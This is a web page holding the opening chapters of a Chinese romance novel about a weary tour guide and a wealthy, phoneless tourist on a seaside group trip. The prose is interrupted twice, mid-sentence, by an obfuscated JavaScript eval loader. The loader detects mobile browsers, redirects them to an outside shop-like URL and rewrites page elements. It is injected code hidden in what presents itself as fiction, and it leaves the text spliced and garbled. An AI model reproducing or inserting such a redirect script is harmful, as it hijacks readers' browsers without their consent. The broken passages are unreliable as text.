《星星尾灯[公路]》 1. 气泡水 嗡嗡—— 嗡嗡—— …… 邬蔓艰难从被子里捞出条胳膊,眼睛努力睁开一条缝,看了眼左手的电子手表。 6.30。 手指点了下屏幕,狭小的出租房里传来一声深深的叹息,邬蔓将身体扭成麻花全方面享受了遍被子的柔软后认命地坐起来。 早起上班是件很让人缺氧的事,邬蔓坐着静静缓了片刻,突然伸出双手搓了把脸。 她全身上下一股子班味,大脑完全停摆,身体被灵魂支配去洗漱穿衣。 算起来邬蔓毕业有小三年了,高中生活过得丰富多彩的后果就是没能上个好大学。她家境普通父母眼见有限,从不干涉女儿的重大决定。 所以当初填报志愿在有限的选择里,邬蔓一根筋地全填了旅游管理。 她想的很美好,旅游嘛,一边玩一边挣钱。 事实就是现实给了她重重一击。 现在回想起来,邬蔓自己都想骂自己脑子有病的程度。 邬蔓趿拉着拖鞋走到卫生间,拖鞋上的兔子耳朵被她穿得东倒西歪,她没心情整理,弯腰掬起一把冷水洗走困意。 镜子里的人眼皮浮肿,脸侧有道方形白痕,应该是被子压的。 邬蔓眼睛很酸,打了个哈欠,眼底浮起层模糊的水雾。 她熟练地单手打字。 【夏夏,我又想离职了。】 很显然这个时间对面在睡觉。 邬蔓吐掉嘴里泡沫继续发消息,【你说,工作的意义是什么?】 连发了两条没回复的消息,邬蔓习以为常,收拾自己的这十几分钟里事无巨细地跟好闺蜜林知夏分享。 她话题跳转的特别快,上一秒还在思考人生阴暗爬行,下一秒镜头就能对准路上遇到的小三花流浪猫不停夸好可爱。 早七点,邬蔓准时到达大巴车下等待。 分秒不多。 哪怕老板对此非常不满,明里暗里提醒好几回,邬蔓还是当耳旁风,只一味嗯嗯知道了,然后继续我行我素。 这算她为数不多的小小坚持,也不是没存一点期盼的心思,期盼着自己能因为格外“准时”被开除。 要邬蔓自己提离职,她总是下不定这个决心。 六月份的津川已经热起来,太阳升的格外早,七点像是分水岭,路上还算柔和的日光分分钟变脸,变得炽热又浓烈。 邬蔓伸手挡在额头往前望,阳光照透手指,折射出一点西柚汁的颜色。 远处陆陆续续能望见人影,明明是一堆陌生的人脸,邬蔓却感觉自己每天都在遇到这些人。 邬蔓所在的旅行社或许算不上是个企业,她们的办公室在一栋很不正规的旧办公楼里,除了在地铁旁边交通便利以外没有任何优点。 办公室算上邬蔓只有三名员工,周一到周五轮休一天,剩下时间负责对接线上咨询,周六日则是充当导游带着游客游玩。 邬蔓一直认为,他们工作环境如此恶劣,是因为大环境不好,老板挣钱也困难的原因。 他们旅行社之所以能够生存下来,全靠附近城市是个小众旅游景点,网上营销少外地人来的不多,反而周边城市的人会选择在休息日去玩一玩顺便吃点海鲜。 年轻人根本不会选择报这种不自由的短途旅行团,邬蔓的客户主要为中老年群体,尤其是退休的大爷大妈比较多,很偶尔才会接一些小公司的团建。 邬蔓感觉这种生活好像一眼就能望到头,二十五六最年轻鲜活的年龄,她天天混在老人堆里,像榨干养分正在缓慢枯萎的春树,让人提不起一丝对生活的热爱和未来的向往。 高中时的邬蔓还是个爱美爱笑的小女孩,羡慕互联网上窥见的自由一角,向往那些景物和人都美的照片和vlog,现如今不过毕业三年就已经磨没了心气,再提不起打扮自己的心思,化妆品更是早忘了堆在出租屋里哪个角落。 邬蔓又看了眼时间,7.15了,半点还要去下一个集合点接人,她放下手,阳光瞬间照进她眼底,顶着眼前淡青色炫光邬蔓从背包里找出随身喇叭和帽子。 “大家尽量走快一点上车坐好,我们还有十几分钟就要发车了!” 邬蔓戴着印有公司logo的遮阳帽,脸上的烦意被她尽数藏下,换成营业状态,声音听上去甜美又热情。 倒不是敬业,只是不想毁了别人出来旅游的好心情。 大爷大妈们呼啦啦一群人排队上车,七点半车子准时启动。 “大家好,我是本次行程的导游,大家可以叫我小蔓,我们现在要去下一个集合点,八点左右出发去高速。” 大家七嘴八舌地聊天,老年人声音大,车里吵吵嚷嚷,也不知道听没听。 邬蔓坐最前面,掏出来两个小面包,算是垫一口早饭。 第二个集合点人比较少,很快坐满了一车游客。 邬蔓看了眼空座位,人数对得上,车子正式行驶,她拍拍手站起来。 “我们预计9.00可以达到昌宁西海岸,大家早餐自行解决,西海岸是本次旅途的第一个景区,抵达之后大家可以自由活动,12.00我们准时集合,祝大家旅途开心玩的愉快。” “小姑娘,要是我们玩忘了时间怎么办?” “这也是我要提醒的,大家注意一下手机不要静音,集合之前我会打电话通知大家。” 邬蔓又继续交代了一些注意事项,见没人再问坐了回去。 打开手机想着消磨点时间,没过多久,老板突然发来微信问她出发没。 【已经在高速上了。】 下一秒,老板微信电话打进来。 “小邬啊,你这边我临时加了个人进去,你注意点我刚联系了下明成旅社那边的车,他们帮忙把人捎过去,你到时候好好接应一下。” “啊好。”邬蔓应下。 虽然是附近城市的两日游,但流程也挺繁琐,临时到出游日当天加人的情况邬蔓还真没遇到过。 多一个人少一个人对她来说没差别,邬蔓没太当回事。 老板像是听出来邬蔓的敷衍,没挂电话特地强调,“你可得给我打起精神,新加的这人我没上保险,你盯着点别出意外。” “什么?” 邬蔓头都大了,“不上保险不行的呀老板。” 哪怕是短途旅行,要出什么意外也是旅行社的责任,出游前她们都会联系游客提供身份证明,由常合作的保险公司统一处理每次的投保。 “你别管了,真要出事我负责,你给我好好盯住服务周到点。” 话说的比唱的都好听,邬蔓压根不信这种口头承诺,真要出事十个她都赔不起。 “要不老板你自己带他?我这次团里26个人,有点顾不过来。” “小邬我相信你的能力,先这样了啊,我接个电话。” “不是老板……” 嘟嘟嘟嘟…… 邬蔓:“……” 邬蔓攥紧拳头,点开和闺蜜的聊天框。 【他是不是有病啊?】 【这次我真想辞职了,不上保险的人往我这塞,怎么不塞给别人呢?】 【成天就知道压榨我!】 【微笑握刀.jpg】 邬蔓重重拍着自己胸脯往下顺气,本来上班就烦,现在又多了个麻烦,简直毁灭世界的心都有了。 怒气腾腾地敲字,联络明成旅社的人,心里不免有些迁怒多出来的那名旅客。 【蔓蔓啊,这个人没有微信,应该是我们的车先到,我跟他等你一会吧。】 邬蔓认识明成旅社的孙姐,之前俩人一起带过大团。 她觉得太麻烦人家,问孙姐要那人电话号,说也可以电话联系。 孙姐秒回个扶额的表情包,【他说没有电话,没事,我送他。】 邬蔓眼前一黑,刚消的怒气又升腾起来。 她回头扫了眼现在车里的旅客,白头发的奶奶拿着手机刷视频刷的津津有味。 电话都没有…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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邬蔓怔怔看着,男人身后是邬蔓看到厌倦的海岸线,昌宁的海邬蔓看过无数次,头一次觉得是这么纯净深邃的蓝,他站在这片极致的蓝里,无聊的景色突然变得浓墨重彩起来。 男人也正回看邬蔓,眼尾像用湿棉线擦出条微笑的褶,很温和舒服。 “你好,我好像捡了你的帽子?” 透明气泡水在瓶子里噼里啪啦浮出泡沫,邬蔓居然能听见滋滋的声响,密集的气泡影子投在她眉眼,投下一片波粼粼的星光。 海风将男人额前的发丝吹得张牙舞爪,他微眯起眼,针叶般浓淡的黑睫护住他的眼睛。 他没有要移开视线的意思。 “是我的帽子,谢谢。” 邬蔓率先挨不住对视垂眼,胸膛里像揣进了只活泼的兔子,咚咚咚咚跳个不停。 邬蔓知道此刻自己的激动源自于那张新鲜的面孔。 难得一见的年轻人,相貌出众通身贵气,和身后的大片廉价的旅游团格格不入。 狂跳的心脏彻底搅乱平静的死水。 胡乱接过帽子戴上,邬蔓再次道谢,这次将手里的气泡水递给对方以作谢礼。 见男人收下,邬蔓松了口气回头,远处李姐笑着往邬蔓身后指,看口型好像是在说…… 你、游客、你、游客! 不会吧? 邬蔓瞪大眼睛。 身后男人低低笑了声,“打扰了。” 沈青鹤长跨步到邬蔓身前,维持在一个很有分寸的距离,刚好能遮挡住部分阳光。 逆光之下,他的五官尤为立体,自鼻梁裁下一片淡色斜影。 “自我介绍一下,我叫沈青鹤,应该是你的游客。” …… 邬蔓手指无意识拧开气泡水,滋啦一声,满满的话梅果香在瓶口炸开。 平时能从吃喝拉撒瞎掰扯到宇宙洪荒的人突然变得词穷。邬蔓掩饰地灌了一大口汽水,酥酥麻麻的酸甜在口腔里横冲直撞,舌尖在齿间抖出几个字。 “啊、好。” 邬蔓实在没法立马冷静下来。 也没人说,这个后加入的游客长得这么顶级啊! 2. 开热点 【夏夏,我看见帅哥了,很顶级!!!】 邬蔓站在大巴车阴影里,飞快瞥了眼车上,做贼似的在手机上敲字。 她特意戴上了墨镜,估计应该能很好遮挡住自己的视线。 沈青鹤正在车上放行李箱。 他放好转身,看见倚靠在车门旁的那个背影,透白罩衫随意垂落,露出半边圆润白皙的肩头。 邬蔓支着一只腿轻踩在大巴车踏板,两边肩窝有些颓,头微埋在肩里,不停摆弄着手机。 沈青鹤对邬蔓手机壳印象挺深,卡通款,没看出是什么材质,但底部挂了条彩虹色的塑料链子,在阳光里一跳一跳,折射的光也跟着一闪一闪,和他见惯的极简设计款并不搭边。 应该是热了,那条链子被挂在邬蔓左手用来固定住手机,素白手指攥住凌乱的长发,几乎是单手发力转起灵巧的圆,手腕上的大肠发圈就牢牢锁住头发扎了个慵懒的低扎发。 动作很随性流畅,像某个夏日午后吹来的的穿堂风,令人心情莫名变愉悦。 邬蔓聊的专注,外头太阳毒,海岸边各种杂音挤满邬蔓的耳朵,淹没掉沈青鹤的脚步声一起变成环境噪音。 “邬、蔓?” 男人清冽声音响起,他似乎不太确定名字是否正确,迟疑一秒,他问道:“应该怎么称呼你呢?” 邬蔓身子一震,被吓了个激灵。 屏幕瞬间锁屏,手机左手倒右手,那串彩虹色链子在空中甩的噼啪响。 意识到自己反应过激,邬蔓冷静下来,“蔓,藤蔓的蔓,你可以叫我小蔓。” 墨镜下的眼睛偷偷去瞄他,男人从车上走出来,无数明亮潋滟的光一点点充盈他的眼,看久了,就会让人不自觉陷进这双眼里,企图窥光。 “很特别的名字。”沈青鹤点评。 邬蔓总感觉沈青鹤似乎在笑,但一时又摸不准他因为什么笑。 人与人打交道需要破冰,邬蔓身为资深导游深谙此道,所以她不纠结,伸手指了指不远处的海岸线,“那现在去海边吗?这些海鸥一会要飞走了。” “你好像对它们很了解?” 沈青鹤看着邬蔓手指的方向,海滩上空布满密密麻麻的海鸥,或许海鸥加起来比这一片的游客还要多。 它们在空中盘旋、不断起飞又落下。 “嗯,我在海边待久了,对它们的习性比较了解。” 何止是了解,邬蔓都快成为海鸥里的一份子了。 在邬蔓眼里,海鸥和鸡鸭早已没什么区别。鸡鸭甚至要比海鸥还要稀有一些,毕竟她这段时间每周都能见到这群海鸥,但她总不可能每周都吃鸡肉鸭肉吧…… 邬蔓默默在心里腹诽,不过见沈青鹤感兴趣,顺着海鸥的话题继续边走边聊。 鞋子陷进柔软干热的金色细沙中,邬蔓埋头,注意力有七成放在脚下。 “这批海鸥是从云南迁徙过来的,每年随着季节周而复始,温暖的风往哪里吹,哪里就是它们的蓝天。” 说到这里,邬蔓想到了什么,自己给自己逗笑,“你知道它们一上午能吃掉多少面包饼干火腿肠吗?有时候我都担心它们血糖太高了。” “上午觅食结束它们就会消失,直到下午,大概三点到六点会出来再次觅食。” 海风温柔,将少女发丝吹得闪亮朦胧,沈青鹤抬头望着海鸥,又侧头看邬蔓。 “只是西海岸吗?还是?” 邬蔓忍不住噗嗤笑了,“当然只是西海岸,你们游客偶尔来一次,甚至可能一生只来一次肯定是很陌生,这条线路因为我常跑所以才知道,其他的海我也没去过啊哈哈。” 不远处海水随两人靠近“褪色”,却也是深蓝色基调,至于网上的什么粉海薄荷海,邬蔓也没见过。 邬蔓身形顿了顿,因为她突然意识到,她好像不是讨厌海景。 最初做导游第一次来这边,她也是激动的,看海看天看沙滩,哪里都觉得非常新奇。 而现在…… 海鸥在邬蔓头顶翻飞,邬蔓沉默看着,她脑中的第一反应居然是戴好帽子不要被海鸥拉头上。 很煞风景。 西海岸像邬蔓的“工位”,只要一到这里,她就浑身难受,毫无生机。 邬蔓曾由衷感叹,她经受这三年的摧残没有一脑袋扎海里已经算是乐天派。 换个i人来,可能早就蔫巴掉死翘翘了。 “你没去过别的海边?” 逼近中午,阳光越来越亮,沈青鹤微眯眼,“抱歉,我有些惊讶,毕竟……” 邬蔓接话,“毕竟我是导游对吧?” 邬蔓喝了口气泡水,被辣的吐了吐舌头,“我们旅行社太小啦,我倒是也很意外你这样的人能报团玩呢。” 沈青鹤低低笑道:“我这样的人?” 前面有人蹲在地上挖涨潮时冲上岸边的贝壳,邬蔓绕开她,弯腰脱掉鞋子。 她图方便穿的洞洞鞋,单手拎起后跟的活动拉环,在半空中抖了抖鞋里的沙子。 “再往前面走就是湿沙地了,可以脱鞋哦比较方便。” 说完,邬蔓回答沈青鹤的问题,短暂思考了一下,“大概就是……年轻、清贵?” 关于奢侈品,邬蔓只认识诸如香奈儿、LV等大众知名品牌,但这并不妨碍邬蔓看得出沈青鹤左手手腕上的腕表价值不菲。 表盘工艺复杂,是邬蔓没见过也看不懂的功能,深棕色皮质表带质感极好,像美术生调色盘里细腻光滑的颜料,在男人白皙的腕骨画下惊心动魄的一笔。 看着就很贵! 沈青鹤道:“你也很年轻。” 邬蔓笑了,揶揄道:“所以不清贵?” 沈青鹤也笑:“但很可爱。” 邬蔓眨眨眼。 可爱这个评价怎么说呢,之前网上很流行一句话,就是没词可夸了就可以说对方可爱,比起它原本的褒义词属性,现在更像一种社交里的无责中性词。 “谢谢啊~” 谢还是要谢的。 沈青鹤侧头看邬蔓洞洞鞋上的葡萄色系鞋花,这些难得一见的小女生装饰物亮闪闪的,小巧精致,和它主人一样可爱。 他也学着邬蔓的样子脱了鞋袜,两根手指拎起鞋,光脚踩在细软湿润的沙滩上。 海水鲜凉,中和掉高温,沙子踩在脚底格外温暖。 两人走走停停。跟着游客漫步沙滩并不是邬蔓的工作范畴,一半因为沈青鹤格外新鲜帅气的脸,另一半自然是邬蔓没忘记老板的格外叮嘱。 刚才接到人她跟老板汇报时,老板再三强调沈青鹤是大客户,让邬蔓服务一定要周到细致,并给出邬蔓无法拒绝的条件——这单提成涨二百元。 活久见的超高提成,这简直比带了个帅哥游客还令人心跳加速。 只不过西海岸统共就这么大地界,沙滩上走了一圈,邬蔓担心沈青鹤觉得无聊,给他推荐海上冲浪的项目。 “要不要试试冲浪?” 冲浪摊位围了不少年轻人,排到队的人在选项目和冲浪板。 “可以选教练带滑,当然如果你核心力量比较强,也是可以自己冲浪。” 邬蔓说完,又加上一句,“玩不玩都行,我们是不抽成的,单纯是推荐。” 沈青鹤被邬蔓这副急于撇清关系的模样逗笑,“冲浪就不了,快艇你玩吗?” “我?” 邬蔓眨眨眼,有点懵。 不是?怎么好像被反客为主了? “对,一个人玩太无聊。” / [刺激快艇一百五一位,童叟无欺,不到二十分钟不要钱!] 快艇摊位紧挨着冲浪摊位,最顶上拉了个超长条幅招牌,红底黄字,特别显眼。 摊主大爷戴着草帽,脚边绕了只小黄狗,烤好的肉丢下去,小狗哼哼唧唧地埋头猛炫,卷尾在炎热的空中摇来摇去。 “一百五,两人三百,不讲价。” 前面一对情侣扫了付款码,去穿救生衣。 邬蔓愣愣跟着沈青鹤,有点忘了自己是怎么话赶话就答应了他一起坐快艇,那张脸实在太具有迷惑性,让人不知不觉地产生许多表达欲。 直到看着他掏出三张红票票递给大爷邬蔓才清醒过来。 “不用,我的我付就行。” 她多大的脸,花人家游客的钱坐快艇。 沈青鹤伸手挡住付款码,“现金找零起来不方便,一起付了吧。” 他声音依旧温和,行动却分毫不让。 摊主大爷也帮腔,“是啊,我这儿没五十的零钱。” 一边说着一边检查钞票,对着光挨张看过去,手指搓了搓纸票,“是真的,你俩去换救生衣吧。” 邬蔓听工作人员指挥换好救生衣,后知后觉有点小疑惑。 这年头谁出门还用纸钞啊…… 快艇空间不太大,两人一排,刚好能坐下八个人。 驾驶快艇的船长皮肤晒得黢黑,一笑一口整齐大白牙。 没给邬蔓思考的时间,嗖的一声,快艇从海面直直窜出去,船尾荡起半人高雪白的浪花,像一把插进海岸线的利剑,而剑尖是疾速行驶的船身。 头发一股脑往后翻飞,潮湿的海味扑面而来,偶尔有些温凉海水飞溅到脸上又被疾风吹散。 在这样的风速下很难睁开眼睛,邬蔓的墨镜派上用场,隔着一层滤色镜片,蔚蓝的海被加上类似nd滤镜的效果变得更加清晰,像老港剧里的复古胶片造景。 沈青鹤拿出手机,问邬蔓可不可以留个合影纪念。 邬蔓点点头摘下墨镜,刚要戴上被她夹在腿中间的鸭舌帽——那上面有旅行社的logo,游客们合影时她都戴着。 “邬蔓。” “嗯?” 邬蔓闻声抬头。 咔嚓— 手机上的画面就此定格。 / 邬蔓深一脚浅一脚的下船。 她在思考怎么说要沈青鹤重拍一张。 原因无他,实在是……她的表情看起来有点蠢。 虽然电子屏上的照片只是匆匆看了一眼,邬蔓还是能精准锁定住自己的脸,并将那个样子深深刻进脑海里。 猝不及防的一个抓拍,她甚至来不及做表情管理,眼睛因疑惑大大睁着,看上去像呆头呆脑的企鹅。 但好像作为导游又没什么立场开口…… 正思索着,邬蔓身前多出两道身影。 是刚才在快艇上同行的两个女生,两人穿着清凉的鲜艳夏装,邬蔓看着莫名觉得眼熟。 “可以加个微信吗帅哥?” 其中一名女生性格爽朗,大大方方举着手机开口,她对沈青鹤笑笑,“刚才我们还在一起坐快艇,很有缘分。” 邬蔓突然想起来哪里眼熟了,之前她和沈青鹤在沙滩散步的时候遇见过这两人。 哦,那快艇同行也没准是刻意为之。 邬蔓不着痕迹拉远一点和沈青鹤的距离,兴致勃勃看戏。 他这幅皮囊被搭讪也不奇怪,估计平时桃花不少。 某人的小小举动被沈青鹤捕捉到,突然兴起几分坏心思。 沈青鹤朝邬蔓迈出一步,又站在她身边,脸上一派温和绅士的笑,“我没有微信。” 美女并不死心,“QQ也行。” 沈青鹤无奈道:“抱歉,QQ也没有。” 他无可奈何,但态度又很友好的拒绝。 任谁都知道,没有微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525802|203490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信QQ只是借口。 美女们视线终于落在邬蔓身上,带着掩饰后的打量。 有时候人与人之间并不需要言语,就像现在邬蔓秒懂她们俩的意思。 没等邬蔓及时撇清关系,沈青鹤继续道:“你们可以加她微信。” 邬蔓:“???” 俩美女闻言确定了自己的猜测,对着邬蔓抱歉笑笑,很是尴尬的推推搡搡快步走了。 邬蔓澄清的话都没来得及说出口。 邬蔓:“……” 她立马转头,眼底燃起小火苗。 即将发作之前,沈青鹤开口,“我真的没微信,她们加你算不算新客源……” 男人顶着妖精一般精致的好相貌对着邬蔓满脸无辜。 新客源这三个字把邬蔓拉回现实。 眼底的小火苗瑟缩着摇摇欲坠,挣扎扭曲良久,最后噗地一声彻底熄灭了。 算不算新客源邬蔓不知道,但她知道沈青鹤是顾客,而顾客就是上帝。 要微信事件一打岔,邬蔓终于想起来自己对于这个多余出来的游客最开始的态度。 排斥、敌对。 因为他没有上保险并且没联系方式,很难想象21世纪的国人还有没有微信的。 “你不是有手机吗?刚才还拍照来着?” 邬蔓想到李姐说他微信和电话都没有,对沈青鹤的好感急转直下,脸再好看,也不能把人当傻子耍啊。 更何况会给自己添很多麻烦,虽然多挣二百提成。 沈青鹤把自己手机递给邬蔓。 “是有手机,但是没插电话卡。” 邬蔓点亮看了一眼,确实没插。 她更疑惑了。 出来玩不带电话卡? 不对,电话卡这东西和手机还能分家的? 沈青鹤显然对邬蔓的疑惑心知肚明,他刻意生硬地转移话题。 “那边有卖海鲜的,我去买点。” 邬蔓没表达意见,她看着沈青鹤的背景若有所思。 在等沈青鹤买海鲜的时间里,邬蔓打开手机热点,设置了个复杂的密码。 她让沈青鹤连上热点,又在他手机上登录自己的微信小号。 出于某种猜测,邬蔓不太想像刚才那样和沈青鹤寸步不离,热点最远范围大概是在三十米左右,以她为圆心,半径30的范围内沈青鹤都可以实现消息自由。 包括接打微信电话。 沈青鹤感受到邬蔓隐隐的排斥,识趣的自己在沙滩上喂海鸥。 确保能随时联系上人之后,邬蔓看了眼手表,离中午集合的时间不远了,她开始在微信群里发通知,没回复的挨个打电话。 林知夏终于睡醒,在邬蔓最忙碌的时刻,挨个引用回复邬蔓这一上午陆陆续续给她发的消息。 邬蔓暂时没时间看,她忙着联系大家集合,有几个电话死活打不通,她在沙滩上放眼望去也看不见他们人影。 天气闷热,叫人很容易耗光耐心。 邬蔓烦躁的甩了甩手机链,老年人听力不太好,总接不到电话。 旅游团一个接一个打卡地点,时间卡得死,没多少富裕的时间能浪费在集合上面。 差不多打了快三十个电话,终于接通了。 谢天谢地,加上沈青鹤一共27个人,终于满满当当坐回大巴车里。 邬蔓一只手拿纸巾擦着额头上的汗,另一只手回复林知夏。 对面的话痨属性有过之而无不及,白色气泡简直是滑不到底,刚开始林知夏回复的还是文字,后来估计打字打累了,知道邬蔓不爱听五六十秒的语音,一口气连着发了七八条十几秒的消息。 邬蔓:“……” 她很想说,这俩者本质上并没有什么区别。 从上而下认真批阅,看着看着邬蔓笑了出来。 林知夏毕业后留在老家,她俩高中常年霸榜班级第一第二,当然,是倒数的那种。 林知夏和邬蔓上的同一所大学,不同专业,她大学学的幼教,如今在私立幼儿园当幼师。 俩闺蜜拿捏年龄两头,一个扎身在老人堆,一个深耕在小孩堆里。 共同点就是,都很崩溃。 林知夏回复的过程中不忘吐槽自己:【你敢信吗蔓蔓,我连做梦都在带小孩!】 【崩溃.jpg】 【你说我是不是热熔枪打脑子里彻底疯狂了……】 邬蔓回复:【叽里咕噜说啥呢,老师,我拉裤兜了!】 林知夏:【……】 【女人你好狠的心呜呜呜!】 消息太多,邬蔓长按语音条转文字。 不巧后面一大爷好奇邬蔓旁边放的特产,支起来的胳膊刚好撞在邬蔓右臂。 撞歪的手指在屏幕上错位,点在林知夏发来的某条语音条上。 原本嘈杂的车内,清清楚楚响起林知夏轻快的声音——扬声器放大版。 “我去,真的假的,顶级?人有多帅啊!给我拍一张照片看看!”她仿佛预料到邬蔓的回复,手机自动播放下一条语音。 “没事你不用担心被发现,你假装打电话,连击音量键抓拍就行!” 突然世界变得死一般寂静。 邬蔓:“……” 手忙脚乱地给手机锁屏。 缓慢又僵硬地将脑袋平移向左转,沈青鹤坐在邬蔓身侧,单手托腮,眼里似笑非笑盯住黑屏的手机。 满车老头外加一个沈青鹤,帅哥指的是谁不言而喻。 邬蔓被烫到般缩回手,把手机藏在帽子底下。 沈青鹤真诚发问:“要不要把刚才的合照发给你?” 邬蔓:“……” 倒也不用这么热心肠。 3. 抓拍照 邬蔓假装没听见沈青鹤的话,极其生硬地扭头,牙齿在嘴里微微用力,耳根逐渐涨红,尴尬的简直想原地挖个洞钻进去躲一躲。 大脑在关键时刻不负众望彻底关机,气血瞬间上涌,脑袋嗡嗡的,根本无法思考。 她抗压能力特别差。 眼神所及之处看见罪魁祸首——因好奇特产乱蹦跶把自己撞歪的老大爷,邬蔓嘴比脑子快,差点直接给人家报个贯口。 她为转移话题火速起身,拿起土特产介绍,“这是我们昌宁市特产,海鲜饼和鱿鱼丝,大家都看一看哈,可以买回去和家人分享,老人小孩孕妇都能吃,二十一袋买不了吃亏买不了上当~” 邬蔓突如其来的热情显然给大爷吓一跳,大爷狐疑地上下看看邬蔓,又低头去看真空包装的海鲜饼。 少女明媚的脸上换上百分之二百的职业微笑,甜的要命,“大爷,您要来几包不?” “买三包送一包。” 上赶着的不是买卖,是压死骆驼的最后一根稻草,老大爷一听,立马摆摆手抱紧自己的手机往后走,生怕晚走一步被邬蔓强买强卖。 旅游团强制购物挣提成的事屡见不鲜,想到人家互联网上打假视频一堆,老大爷也不好奇特产了,老老实实坐了回去。 邬蔓对着车里其他人问,“有想买咱们特产的吗?我们这都是良心成本价哦,不挣钱的。” 对,良心价,挣得不多不少,一包马马虎虎净赚15元。 不出意外,根本没人买。 邬蔓不止一次和老板说过,这东西放车上也卖不出去,总推销搞不好还容易出现差评,但老板对此依旧相当执着。 每次老板听完邬蔓说话都稳稳当当坐在皮沙发上,脸上笑成弥勒佛,手里摆弄茶具,滚烫的茶汤倒在金蝉形状的茶宠上,将原本的墨黑烫成檀木色。 “小邬啊,你们年轻人就是太急躁。” 邬蔓再要开口,老板哎一声,把茶杯推过去打断邬蔓的话,“卖出去了会给你们提成的,一包给你们提一元怎么样?” 邬蔓:“这不是提成的问题。” “现在旅行社的客源主要依靠平台推荐,团购最直观的影响因素就是评分。” 邬蔓说的话连老板耳朵都没过去,他砸吧一口茶水,“6个多点的提成,你们上外面哪里找我这么大方的老板。” “好好干,你是咱们旅行社的元老级员工,不会亏待你的。尝尝茶,戒骄戒躁。” 邬蔓:“……” 谁跟你是咱们。 话说的比唱的好听,实际上就是单休,底薪2500,加上每月四周累死累活带团游的提成,工资加起来勉强能到四千多。 谱倒是摆的不小。 每次和老板的对话都是鸡同鸭讲,你和他聊城门篓子他跟你讲胯骨轴子。邬蔓不知道是不是世界上所有的老板都一个德行,反正她只要和老板说正事,最后肯定都是憋一肚子气被四两拨千斤的打发走。 思及此,邬蔓在心里对着老板的微信头像狠狠来了一场自由搏击。 旧大巴车里空调嗡嗡地响,扰的邬蔓莫名心烦意乱,车摇摇晃晃开走大约四十分钟,终于来到了昌宁市最大的水族馆。 旅行社和景点有合作,买门票比散票要便宜许多。 这次不像上午能自由活动,下车后邬蔓让大家集合好,游客们稀稀拉拉围着她排了个像模像样的队伍,二十多个人头像菜店里成捆卖的的樱桃萝卜,挨个检完票由邬蔓带领着往水族馆走。 走进水族馆,周围光线立马暗下来,身体四周遍布玻璃屏障,将人行路罩在里面,像一条通往深海的蓝色隧道。 隔着玻璃,海水泛起波澜青光,或大或小的水生物在海水里漫游,鱼群在水里旋成龙卷风绕过邬蔓的头顶,各种刁钻的角度在仿佛能近距离接触的假象下一览无余。 邬蔓时不时回答游客们的问题,讲解着海洋生物的习性。 暗蓝色轻轻打在女孩下颌,不知哪里的反光照亮她黑瞳下方,像给她戴上了蓝色美瞳。 揣兜里的手机叮叮咚咚地响,邬蔓抽空扫了眼,挑拣着回复咨询消息。 销售客服二合一的工作性质导致碎片的时间也全被工作占据。 平台算法严格,回复消息不及时会受到处罚,邬蔓的工作压力属实很大。 可能邬蔓被虐麻了,只要不是不分昼夜的微信电话咨询,她勉强都可以接受。 从剪切板里找出来一早编辑好的文案发过去,邬蔓视线扫过屏幕上端的热点图标时顿了顿。 沈青鹤还连着她的热点。 邬蔓不着痕迹地回头,身后大爷大妈们三五成群拍照拍视频,聊天聊的很嗨,再往后望,队伍最末尾远远缀了个高挺的白点。 沈青鹤自成一派,孤零零一个人跟在年龄气质都不合的队伍里,玻璃墙里的鱼群好似要将遗落的人吞掉,和前面的热闹感泾渭分明。 邬蔓突然想到自己每天上班在小区里遇见的白色流浪猫,被同伴排挤,凶它之后就乖乖跟在很远的地方。 …… 感觉有点可怜是怎么回事? 盯着热点上面小小的数字1看了半天,邬蔓慢吞吞翻出来自己的小号。 小号是高中开的,尘封了好多年,邬蔓上下翻了两遍,差点没找到。 点开头像,邬蔓在输入框里写写删删,按下发送。 邬蔓:【你离得太远,网络要断开了。】 余光里邬蔓看见沈青鹤怔住一秒,似乎才反应过来是自己的手机在响。 他动作生疏到有些小滑稽,从裤子口袋里翻出来手机。 应该是离太远网络不好,他双手举起手机手指不停往下滑刷新网络。 “噗——” 邬蔓没忍住笑出来,在沈青鹤看过来之前赶紧转回头。 活久见,她头一次见到年轻人把手机用的像板砖。 并且还是帅帅的贵气男,拉出去能去时装周走秀的标致长相,结果在这十八线小城里断网,蹭她的WiFi。 没过一会,沈青鹤从队伍末尾走到邬蔓附近。 他没贸然说话,而是发给邬蔓一张照片。 邬蔓身后跟着二十多个人,不知道沈青鹤从哪里找的角度,干干净净的深蓝色背景里只拍到了邬蔓一个。 照片里少女微仰头看着上方,淡蓝光点斑驳撒在女孩白皙的侧脸,睫毛上仿佛染上一层薄薄的亮霜。背后的玻璃墙后巨大的白鲸游过,因为是抓拍,刚好拖拽出一层朦胧残影。 白鲸和少女,很有灵性,很出片。 难以想象刚才嘴巴一直没闲着忙的焦头烂额的自己,还能被拍的这么静谧。 邬蔓由衷赞赏:【看不出来,你拍照水平很可以啊。】 沈青鹤:【这方面有点爱好在。】 他继续打字:【开热点是不是比较费网?我给你交点话费吧?】 邬蔓眼看着沈青鹤又要掏现金,赶紧回复:【不用不用,我流量多。】 【汗.jpg】 【你们有钱人都爱做散财童子吗?】 动不动就掏钱。 沈青鹤从胸口震出几声笑,【也不是,主要怕给你添麻烦。】 邬蔓想说,你已经给我添麻烦了。 转念一想,突然好奇沈青鹤到底花了多少钱,老板才会让自己格外关照,并且临时加人。 【你报我们团花了多少钱啊?】 沈青鹤有问必答:【两千。】 两千??? 邬蔓震惊了,要知道在某程上她们的团购只需要399。 这也太黑心了吧?! 邬蔓看向沈青鹤的眼神充满同情,她不方便直说,隐晦发了句,【下次你上某程某团上看看,会划算些。】 得知沈青鹤足足花了两千元报旅行团,剩下半天时间里邬蔓看他的眼神都变得慈祥了不少。 